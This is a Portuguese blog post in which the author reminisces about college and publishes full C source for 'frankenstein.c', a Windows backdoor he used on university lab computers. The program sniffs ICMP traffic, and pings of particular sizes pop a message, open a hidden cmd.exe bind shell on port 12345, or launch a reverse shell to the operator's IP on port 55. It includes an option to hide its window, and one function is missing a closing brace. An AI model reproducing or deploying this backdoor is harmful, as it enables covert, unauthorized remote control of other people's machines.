Início > Programação, Segurança > Relembrando a Faculdade

Relembrando a Faculdade

Semana passada estava fazendo uma grande limpa de cd’s antigos em casa, quando me deparo com um CD escrito “Tralhos Faculdade” resolvi ver o conteudo e estava cheio de sources em C, logo me atenti em um nome “frankenstein.c” entao dev-c++ entra em ação e me reporta  momentos nostálgicos, era um source que tinha feito para brincadeiras nos labs Windows da faculdade, época onde a brincadeira rolava solta, labs infestados de Windows assim como areia no deserto, me lembro que tinha feito vários destes brinquedinhos para tomar conexao remota de máquinas por controle de ping estipulando o tamanho dos pacotes…

Para quem ficou Curioso ae esta o Source !!

 

/*
Em solo Linux ou Windows disparar ping para o host na qual o programa esta executando !

Compilador:
    DevC++:
          
        
 
  Pacotes com tamanho 400 dispara msg na tela
  Pacotes com tamanho 500 Abre porta tcp 12345 para conexao via telnet
  Pacotes com tamanho 600 faz um bind para o seu ip em Listem na porta TCP 55
 
  Ex:
          Linux
          ping -s 400 IP
         
          Windows
          ping IP -l 400
          
*/

#define _WIN32_WINNT 0x0500
#define MAX_PACKET_SIZE 65525
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)
#define MAXBUFFER 1024
#define SHELL_NAME “cmd.exe”
#define MEUIP_VALIDO “COlOQUE SEU IP VALIDO”

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>
#pragma comment(lib,”ws2_32″)

 

SOCKET sock,cli,sendrecv;
HANDLE InputRead, InputWrite, OutputRead, OutputWrite;
HANDLE hRead, hWrite;
BOOL uscita;
DWORD WINAPI Output(LPVOID data);
DWORD WINAPI Input(LPVOID data);
DWORD threadIdOut, threadIdIn; 
DWORD ByteRead;
SECURITY_ATTRIBUTES sa;
STARTUPINFO si;
PROCESS_INFORMATION pi;
 

 

char buf[1024];
int WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow);
int lun=sizeof (struct sockaddr);
int verifica=0;
typedef struct iphdr
{
 unsigned char VerIHL;
 unsigned char Tos;
 unsigned short Total_len;
 unsigned short ID;
 unsigned short Flags_and_Frags;
 unsigned char TTL;
 unsigned char Protocol;
 unsigned short Checksum;
 unsigned long SrcIP;
 unsigned long DstIP;
 
} IpHeader;

typedef struct port
{
 unsigned short SrcPort;
 unsigned short DstPort;
}
TcpUdpPort;
int BytesRecv;
char *BIND2IP= “127.0.0.1”;

 
void PegaIP()
   {
      WSADATA  wsaData;
      char     szHostname[100];
      HOSTENT *pHostEnt;
      int      nAdapter = 0;
      int      i = 0;
      char     *IP;
      struct   sockaddr_in sAddr;

      if (WSAStartup(0x0101, &wsaData))
      {
         printf(“WSAStartup Falhou %s\n”, WSAGetLastError());
         return;
      }

      gethostname( szHostname, sizeof( szHostname ));
      pHostEnt = gethostbyname( szHostname );

      while ( pHostEnt->h_addr_list[nAdapter] )
      {
       i++;
         memcpy ( &sAddr.sin_addr.s_addr, pHostEnt->h_addr_list[nAdapter],
                  pHostEnt->h_length);

       
         if (i == 1) {
          IP = inet_ntoa(sAddr.sin_addr);
          printf(“Endereço IP principal: %s\n”, IP);
          BIND2IP = IP;
         
               }
     

         nAdapter++;
      }
      WSACleanup();
      return;

   }
 

void MostraMsg()
 {
CreatePipe(&hRead, &hWrite, NULL, 0);

WriteFile(hWrite, “Humm já eraaa”, 13, &ByteRead, NULL);
 
ReadFile(hRead, buf, 13, &ByteRead, NULL);

MessageBox(HWND_DESKTOP, buf, “OI”, MB_OK);

 

void TelNete()
 {
         WSADATA wsaData;
         SOCKET hSocket;
         STARTUPINFO si;
         PROCESS_INFORMATION pi;
         struct sockaddr_in serv_addr;
   struct sockaddr_in sock_addr,sendrecv_addr;
         WSADATA data;
      WORD p;
      int len(char *);
      p=MAKEWORD(2,0);
      WSAStartup(p,&data);
         verifica=1;
         WSAStartup(MAKEWORD(2,0),&wsaData);
         hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
         serv_addr.sin_family=PF_INET;
   serv_addr.sin_port=htons(12345);
         serv_addr.sin_addr.s_addr=INADDR_ANY;
      sock=socket(PF_INET,SOCK_STREAM,0);
         bind(sock,(struct sockaddr *)&serv_addr,0x10);
         listen(sock,1);
       sendrecv=accept(sock,(struct sockaddr*)&sendrecv_addr,&lun);
      sa.nLength = sizeof(SECURITY_ATTRIBUTES);
      sa.bInheritHandle = TRUE; 
      sa.lpSecurityDescriptor = NULL;
      if(!CreatePipe(&OutputRead, &OutputWrite, &sa, 0))
             printf(“CreatePipe %d”, GetLastError());
         if(!CreatePipe(&InputRead, &InputWrite, &sa, 0))
       printf(“CreatePipe %d”, GetLastError());

 memset((void *) &si, 0, sizeof(si));
 memset((void *) &pi, 0, sizeof(pi));

 si.cb = sizeof(si);
 si.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;

 si.wShowWindow = SW_HIDE;
 si.hStdInput = InputRead;
 si.hStdOutput = OutputWrite;
 si.hStdError = OutputWrite;

 if (!CreateProcess(NULL, SHELL_NAME, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
  printf(“CreateProcess %d”, GetLastError());

 CloseHandle(OutputWrite);
 CloseHandle(InputRead);

 if (!CreateThread(NULL, 0, Output, NULL, 0, &threadIdOut))
  printf(“CreateThread %d”, GetLastError());
 if (!CreateThread(NULL, 0, Input, NULL, 0, &threadIdIn))
  printf(“CreateThread %d”, GetLastError());

 uscita=FALSE;

 while(uscita!=TRUE)
  Sleep(100);
}
DWORD WINAPI Output(LPVOID data){
 char buffer[MAXBUFFER];
 DWORD bytes;

 do{
  ReadFile(OutputRead, &buffer, MAXBUFFER, &bytes, NULL); 
  buffer[bytes]=0;
  if (bytes>0)
   send(sendrecv, buffer, bytes, 0);
  else
   uscita=TRUE;
  Sleep(100);
 }
 while(TRUE);
}

DWORD WINAPI Input(LPVOID data){
char buffer[MAXBUFFER];
 DWORD bytes;

 do{
  bytes=recv(sendrecv, buffer, MAXBUFFER, 0);
  buffer[bytes]=0;
  WriteFile(InputWrite, &buffer, strlen(buffer), &bytes, NULL);
  Sleep(100);
 }
 while(TRUE);
}

 

 

void MeBinda()
 {
         WSADATA wsaData;
         SOCKET hSocket;
         STARTUPINFO si;
         PROCESS_INFORMATION pi;
         struct sockaddr_in adik_sin;
         memset(&adik_sin,0,sizeof(adik_sin));
         memset(&si,0,sizeof(si));
         WSAStartup(MAKEWORD(2,0),&wsaData);
         hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
         adik_sin.sin_family = AF_INET;
         adik_sin.sin_port = htons(55);
         adik_sin.sin_addr.s_addr = inet_addr(MEUIP_VALIDO);
         connect(hSocket,(struct sockaddr*)&adik_sin,sizeof(adik_sin));
         si.wShowWindow = SW_HIDE;
         si.cb = sizeof(si);
         si.wShowWindow = SW_HIDE;
         si.dwFlags = STARTF_USESTDHANDLES;
         si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
         CreateProcess(NULL,SHELL_NAME,NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
         ExitProcess(0);

 }

 
void PegaPacotes(char* Buffer, int Size)
{
 IpHeader *iphdr;
 TcpUdpPort *port;
 struct sockaddr_in SockAddr;
 unsigned short iphdrlen;
 char C;
   
 iphdr = (IpHeader *)Buffer;

 iphdrlen = (iphdr->VerIHL << 4);
 memcpy(&C, &iphdrlen, 1);
 iphdrlen = (C >> 4) * 4; //20

 switch (iphdr->Protocol)
 {
 case 1:
         printf(“\n”);
  printf(“Tamanho do Pacote %d \n”, BytesRecv);
        printf(“Protocolo: ICMP “);
  memset(&SockAddr, 0, sizeof(SockAddr));
     SockAddr.sin_addr.s_addr = iphdr->SrcIP;
     printf(“Pacote de: %s “, inet_ntoa(SockAddr.sin_addr));
     memset(&SockAddr, 0, sizeof(SockAddr));
     SockAddr.sin_addr.s_addr = iphdr->DstIP;
     printf(“Para: %s “, inet_ntoa(SockAddr.sin_addr));
     if(verifica == 0) {      
        if(BytesRecv == 400+28){
         MostraMsg();}
        if(BytesRecv == 500+28){
         TelNete();}                    
        if(BytesRecv == 600+28){
         MeBinda();}
               }
       
       
        break;

 }
}

void IniciaCaptura(SOCKET Sock)
{
 char *RecvBuffer = (char *)malloc(MAX_PACKET_SIZE + 1);
 int FromLen;
 struct sockaddr_in From;

 if (RecvBuffer == NULL)
 {
  printf(“malloc() falhou.\n”);
  exit(-1);
 }

 FromLen = sizeof(From);

 do
 {
  memset(RecvBuffer, 0, MAX_PACKET_SIZE + 1);
  memset(&From, 0, sizeof(From));

  BytesRecv = recvfrom(Sock, RecvBuffer, MAX_PACKET_SIZE, 0, (struct sockaddr *)&From, &FromLen);
  
  if (BytesRecv > 0)
  {
   PegaPacotes(RecvBuffer, BytesRecv);
  }
  else
  {
   printf( “recvfrom() falhou.\n”);
  }

 } while (BytesRecv > 0);
 free(RecvBuffer);
}

int main()
{
    /*HWND hWnd = GetConsoleWindow();
    ShowWindow( hWnd, SW_HIDE );*/
 //Ativar as duas linhas para tornar a janela inivisível
    WSADATA wsaData;
 SOCKET Sock;
 struct sockaddr_in SockAddr;
 struct hostent *he;
 DWORD BytesReturned;
 int I = 1;

 

  if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
  {
   printf(“WSAStartup() falhou.\n”);
   exit(-1);
  }

  Sock = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

  if (Sock == INVALID_SOCKET)
  {
   printf(“socket() falhou.\n”);
   exit(-1);
  }
        PegaIP();     
  memset(&SockAddr, 0, sizeof(SockAddr));
  SockAddr.sin_addr.s_addr = inet_addr(BIND2IP);
  

        printf(“Modo Promiscuo Ativado Interceptando pacotes ICMP para o IP:(%s)\n”, BIND2IP);

  SockAddr.sin_family = AF_INET;
  SockAddr.sin_port = 0;

  if (bind(Sock, (struct sockaddr *)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR)
  {
   
   printf(“socket() falhou.\n”);
   exit(-1);
  }

 

  if (WSAIoctl(Sock, SIO_RCVALL, &I, sizeof(I), NULL, 0, &BytesReturned, NULL, NULL) == SOCKET_ERROR)
  {
   printf(“WSAIoctl() falhou.\n”);
   exit(-1);
  }
      
  IniciaCaptura(Sock);

 {
  printf(“Problemas\n”);
 }

 closesocket(Sock);
 WSACleanup();

 return 0;
}

  1. Nenhum comentário ainda.
  1. No trackbacks yet.

Deixe uma resposta

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s

%d blogueiros gostam disto: